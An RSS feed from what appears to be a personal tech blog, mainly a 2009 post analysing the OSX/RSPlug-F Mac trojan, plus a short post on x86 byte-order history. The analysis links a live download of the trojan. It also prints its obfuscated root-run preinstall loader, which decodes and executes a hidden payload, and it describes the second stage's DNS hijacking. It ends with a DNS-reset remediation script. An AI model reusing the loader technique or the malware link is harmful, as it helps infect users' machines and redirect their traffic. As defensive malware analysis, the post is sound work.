<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>brunerd &#187; Industry</title>
	<atom:link href="http://www.brunerd.com/blog/category/industry/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.brunerd.com/blog</link>
	<description>pushin' bytes around</description>
	<lastBuildDate>Fri, 04 Jun 2010 15:55:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Tearing Apart OSX/RSPlug-F</title>
		<link>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/</link>
		<comments>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 19:51:39 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Industry]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=70</guid>
		<description><![CDATA[OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan OSX/RSPlug-F. Thanks to the effervescent Graham Cluley for his witty post with video demonstration of OSX/RSPlug-F being detected. It&#8217;s what started this investigation. So, being [...]]]></description>
			<content:encoded><![CDATA[<p>OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan <a href="http://www.sophos.com/security/blog/2009/03/3710.html" target="_blank">OSX/RSPlug-F</a>. Thanks to the effervescent Graham Cluley for his <a href="http://www.sophos.com/blogs/gc/g/2009/03/25/apple-mac-malware-caught-camera/" target="_blank">witty post</a> with video demonstration of OSX/RSPlug-F being detected. It&#8217;s what started this investigation.</p>
<p>So, being the curious guy I am I decided to download the very same file Graham did in his demo. While, hdtvxvid.org had since fixed their hijacked page, luckily the status bar had a readable URL that with some squinting I was able to decipher it&#8230; So I downloaded the sucker, you can too!</p>
<p>Live Code: <a href="http://plumpals.com/download/654a635065413d3df111c253/HDTVPlayerv3.5.exe" target="_blank">OSX/RSPlug-F trojan</a></p>
<p>And what else can I say but: I&#8217;ll be darned if I can get the thing to <strong>work</strong>! Actually I do get it to work, but due to some coding errors out of the box, it&#8217;s a dud.</p>
<p>So let&#8217;s start the dissection:</p>
<p>The URL downloads HDTVPlayerv3.5.dmg, inside is contained install.pkg, which if you&#8217;re using Safari on a Mac and have the damnable default of &#8220;Open &#8216;Safe&#8217; files after Downloading&#8221; it&#8217;ll go right to the installer. Which let me note <strong>Open &#8220;Safe&#8221; Files after downloading </strong>is the<strong> stupidest</strong> thing to happen to browsers since Active-X. The air quotes around &#8220;Safe&#8221; do not help, Apple, it&#8217;s a sly wink and a nod that <strong>no file type is totally safe</strong> but *shrug* whatcha gonna do? I&#8217;ll tell you what: <strong>don&#8217;t make it a dang default</strong>!</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/firefox-rsplug-cached-before-clicking-save.jpg"><img class="alignnone size-full wp-image-86" title="firefox-rsplug-cached-before-clicking-save" src="http://www.brunerd.com/blog/wp-content/uploads/firefox-rsplug-cached-before-clicking-save.jpg" alt="firefox-rsplug-cached-before-clicking-save" width="550" height="316" /></a></p>
<p><strong>Firefox</strong> is not off the hook either, let me bring up the poisonous Firefox convenience: &#8220;predownloading&#8221;. Did everyone notice how the virus alert for Graham pops up before he clicks save? How Firefox initiates downloads immediately to <a href="http://www.brunerd.com/blog/wp-content/uploads/firefoxcache-pre_downloading.jpg" target="_blank">cache</a> and upon the user clicking Save it copies it to the destination or if the click Cancel it stays there. I think Firefox&#8217;s behaviour is ridiculous, yes it might make me happy when I download some ginormous game demo and come back hours later having forgotten to click Save and am pleasantly surprised that &#8220;hey it&#8217;s already here!&#8221;, but otherwise let me decide what and when something goes on my hard drive.</p>
<p>Anyway&#8230; let&#8217;s look at an Installer window the average user won&#8217;t look at: Show Files</p>
<p>./AdobeFlash<br />
./Mozillaplug.plugin<br />
./Mozillaplug.plugin/Contents<br />
./Mozillaplug.plugin/Contents/Info.plist<br />
./Mozillaplug.plugin/Contents/MacOS<br />
./Mozillaplug.plugin/Contents/MacOS/VerifiedDownloadPlugin<br />
./Mozillaplug.plugin/Contents/Resources<br />
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc<br />
./Mozillaplug.plugin/Contents/version.plist</p>
<p>First couple of suspect thing is a single flat file called AdobeFlash and then Mozillaplug.plugin, which is really just the <a href="http://unsanity.org/archives/mac_os_x/reminder_verifi.php" target="_blank">mysterious</a> VerifiedDownloadPlugin. No mention of Cinema eh?</p>
<p>Take a gander in <strong>Info.plist of install.pkg</strong> to see where it goes:<br />
IFPkgFlagDefaultLocation <em>/Library/Internet Plug-Ins/<br />
</em></p>
<p>So then, why would it need root privileges for an admin writable folder, eh?<br />
<a href="http://www.brunerd.com/blog/wp-content/uploads/redflag.png"><img class="alignnone size-full wp-image-84" title="redflag" src="http://www.brunerd.com/blog/wp-content/uploads/redflag.png" alt="redflag" width="514" height="407" /></a><br />
<strong>IFPkgFlagAuthorizationAction </strong><em>RootAuthorization</em>, for those following along in the Info.plist<br />
Bonus: <strong>CFBundleGetInfoString</strong> = <em>who cares<br />
<span style="font-style: normal;">Double Secret Bonus:<br />
Resource/en.lproj/Description.plist <strong>IFPkgDescriptionDescription</strong><em> = shutdafuckup</em></span></em></p>
<p>Strangely when you look in both the logs created by Installer.app in /var/log/installer.log:<br />
Leopard it says: <code>"<strong>admin</strong> auth received to install"<br />
</code>Tiger says: <code>"<strong>Administrator</strong> authorization granted."<br />
</code>I don&#8217;t know why you wouldn&#8217;t want the logs to clearly state root privileges were given, but there you have it, it doesn&#8217;t.</p>
<p>So what does it do with the root privileges? Hmmm? Let&#8217;s look in the preinstall/preupgrade <a href="http://www.brunerd.com/blog/wp-content/uploads/osx-rsplug-f_preinstall.txt">scripts</a> which are identical because apparently the author didn&#8217;t realize that a preflight script would kill two birds with one stone.</p>
<p><code>#!/bin/sh<br />
if [ $# != 1 ]; then type=0; else type=1; fi &amp;&amp; tail -37 $0 | sed '/\n/!G;s/\(.\)\(.*\n\)/&amp;\2\1/;//D;s/.//' | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7000/' | sed 's/gnu/'$type'/' &gt;`uname -p` &amp;&amp; sh `uname -p` &amp;&amp; rm `uname -p` &amp;&amp; exit<br />
yksrepsak 777 nigeb<br />
O(2/H178PI@(C%6;EQ&amp;&lt;#-RX"-Y(2/21$1!!52M<br />
.... &lt;SNIP&gt; ....<br />
*4F;DI`8*(B(`A$8*TD(`5T4^&lt;3+4EC-8<br />
`<br />
dne<br />
</code></p>
<p>OK, so it takes the tail of itself , does some sed magic to flip around the reveresed UUEncoded data, spit it out, replace &#8216;applemac&#8217; with &#8216;AdobeFlash&#8217; (remember that&#8217;s in the bom payload), replace bsd with 7000, gnu with a boolean value that depends on whether there are any arguments when the script is called. Then after all that sed nonsense, names the file the result of uname -p, attempts to execute the file (as root), delete that file, then exit.</p>
<p>Well, we&#8217;ll get to the &#8216;unencrypted&#8217; payload in a sec let&#8217;s run this and see what happens <a href="http://www.brunerd.com/blog/wp-content/uploads/leopard-fail.txt">leopard-fail</a> anf <a href="http://www.brunerd.com/blog/wp-content/uploads/tiger-fail.txt">tiger-fail</a> &#8212; they fail. As a consequence, the AdobeFlash is NOT installed, but it is the same code as the preinstall so, still not off the hook here.Let&#8217;s see where we&#8217;re at:</p>
<p>The root crontab is altered to inlude: <code>* */5 * * * /Library/Internet Plug-Ins/AdobeFlash<br />
</code>Since the script fails, the package does not install, so the crontab pointing to it is useless&#8230;</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/i386.txt">i386</a> is left in the root, it doesn&#8217;t get a chance to delete itself, considering that all those &amp;&amp; statements mean &#8220;execute the next step only if the last thing completed correctly&#8221;, since it fails it doesn&#8217;t get deleted.</p>
<p>i386 contains some more backward UUEncoded data with and some more sed replacements, then pipes it all into perl, here&#8217;s the <a href="http://www.brunerd.com/blog/wp-content/uploads/rsplug-f_perl.txt">perl code</a> it attempts to run, but unfortunately it fails on line 14 and goes no further. But let&#8217;s say we fix the code so it can talk to the server, get a response, and parse the output into a file&#8230;</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/685.txt">685</a> is downloaded to /tmp where it runs, does some more sed string swaps, secret decoder ring translations for the DNS servers, outputs <a href="http://www.brunerd.com/blog/wp-content/uploads/rsplug-f_scutil-dnschange.txt">this</a> &#8212; the nasty part that changes your DNS entries, then deletes the temp file. It makes good use of the very handy concept of &#8220;here documents&#8221; to script scutil to change the DNS servers, which seem to rotate, you&#8217;ll get new servers everytime you run it, suffice to say, the Ukranian subnet of 85.255.112.xxx is totally compromised, as well as 94.247.2.109 the Latvian server from which the files are downloaded. But who knows who&#8217;s financing and running it in this global day and age. But the propensity for <a href="http://en.wikipedia.org/wiki/Matryoshka_doll" target="_blank">matryoshka</a> style nested code seems telling <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Running some dig commands to get DNS answers from the servers reveals they are given back valid addresses, currently, but I only tested a few sites, it might only have redirection for select dummy bank sites they have set up, who knows&#8230;</p>
<p>The lesson here is: Always use Installer to look at the Files, see what your authorization level is, check out the pre/post scripts and generally <strong>do what only 1% of the most vigilant of the population would do and you&#8217;ll be fine</strong>. Hopefully, root authorization will carry more weight in the Installer.app UI and say &#8220;Hey are your sure you want to grant <strong>root</strong> &#8212; REALLY!?&#8221;, pre/postflight scripts will be easier to look in UI (I <strong>am</strong> dreaming aren&#8217;t I), the logs won&#8217;t lie about the auth level (very do-able), and Firefox will respect my wishes and only truly Save when <strong>I</strong> click Save&#8230; (it&#8217;s open source, easy to change, but it&#8217;ll take a flame war to settle it)</p>
<p>Until then, I hope you enjoyed this malware tour, stay safe and away from porn sites with 3rd party HD codecs.</p>
<p>Update:<br />
I suppose it&#8217;d be helpful to add some instructions on how to reverse the scutil modifications, here&#8217;s the <a href="http://www.brunerd.com/blog/wp-content/uploads/reset-dns.sh">script</a> (the code might look familiar)</p>
<p><code>#!/bin/sh<br />
if (( $(id -u) != 0 )); then echo "Please run with sudo" &amp;&amp; exit 1; fi<br />
PSID=$( (/usr/sbin/scutil | /usr/bin/grep PrimaryService | /usr/bin/sed -e 's/.*PrimaryService : //')&lt;&lt; EOF<br />
get State:/Network/Global/IPv4<br />
d.show<br />
quit<br />
EOF<br />
)</code></p>
<p><code> </code></p>
<p><code>/usr/sbin/scutil &lt;&lt; EOF<br />
remove State:/Network/Service/$PSID/DNS<br />
quit<br />
EOF</p>
<p></code></p>
<p><code>echo "Please toggle your network adapter on/off to refresh DNS servers from DHCP"</code></p>
<p>Basically it nukes the DNS entries that got hosed, then pulls down the DHCP info, uless you have manually entered DNS settings, in which case, you should know what you&#8217;re doing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>x86 Inertia</title>
		<link>http://www.brunerd.com/blog/2008/07/16/x86-inertia/</link>
		<comments>http://www.brunerd.com/blog/2008/07/16/x86-inertia/#comments</comments>
		<pubDate>Wed, 16 Jul 2008 21:07:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2008/07/16/x86-inertia/</guid>
		<description><![CDATA[So I was reading this interview with Stephen Morse the designer of the 8086 which is 30 years old this year. A couple points it makes are: being in the right place at the right time is sometimes all it takes to be part of something big and the inertia of what already exists greatly [...]]]></description>
			<content:encoded><![CDATA[<p>So I was reading this <a href="http://news.yahoo.com/s/pcworld/20080617/tc_pcworld/146917">interview</a> with Stephen Morse the designer of the 8086 which is 30 years old this year. A couple points it makes are: being in the right place at the right time is sometimes all it takes to be part of something big and the inertia of what already exists greatly affects future designs.Here&#8217;s a couple quotes from Stephen I liked:<br />
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px">I always regret that I didn&#8217;t fix up some idiosyncrasies of the 8080 when I had a chance. For example, the 8080 stores the low-order byte of a 16-bit value before the high-order byte. The reason for that goes back to the 8008, which did it that way to mimic the behavior of a bit-serial processor designed by Datapoint;(a bit-serial processor needs to see the least significant bits first so that it can correctly handle carries when doing additions). Now there was no reason for me to continue this idiocy, except for some obsessive desire to maintain strict 8080 compatibility. But if I had made the break with the past and stored the bytes more logically, nobody would have objected. And today we wouldn&#8217;t be dealing with issues involving big-endian and little-endian&#8211;the concepts just wouldn&#8217;t exist.    </p></blockquote>
<p>Basically once you start a bad habit it&#8217;s hard to break, which leads on to this: <br />
<blockquote class="webkit-indent-blockquote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px">I&#8217;m a PC guy. I long resisted the Mac because there were still programs that were written for the PC and would not run on the Mac. I felt it was like the Betamax/VHS story: Betamax was a better technology, but anyone buying a Betamax recorder would have a small selection of tapes available to rent and would be limited in who they could share tapes with. Now that you can get a Mac that executes x86 code, the situation has changed somewhat, but I&#8217;ve resisted a Mac for so long that it&#8217;s hard to switch gears at this point.      </p></blockquote>
<p>I just find it humorous that these de facto standards in the inductry are sometimes just the product of how someone started doing it one way and everyone followed suit, and even if there was a better or <span class="Apple-style-span" style="font-style: italic">different</span> way to do things, it&#8217;s not how everyone else is doing it, and that&#8217;s inertia&#8230; or entropy? Seems like you need a shake every so often to keep things fresh yes?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2008/07/16/x86-inertia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
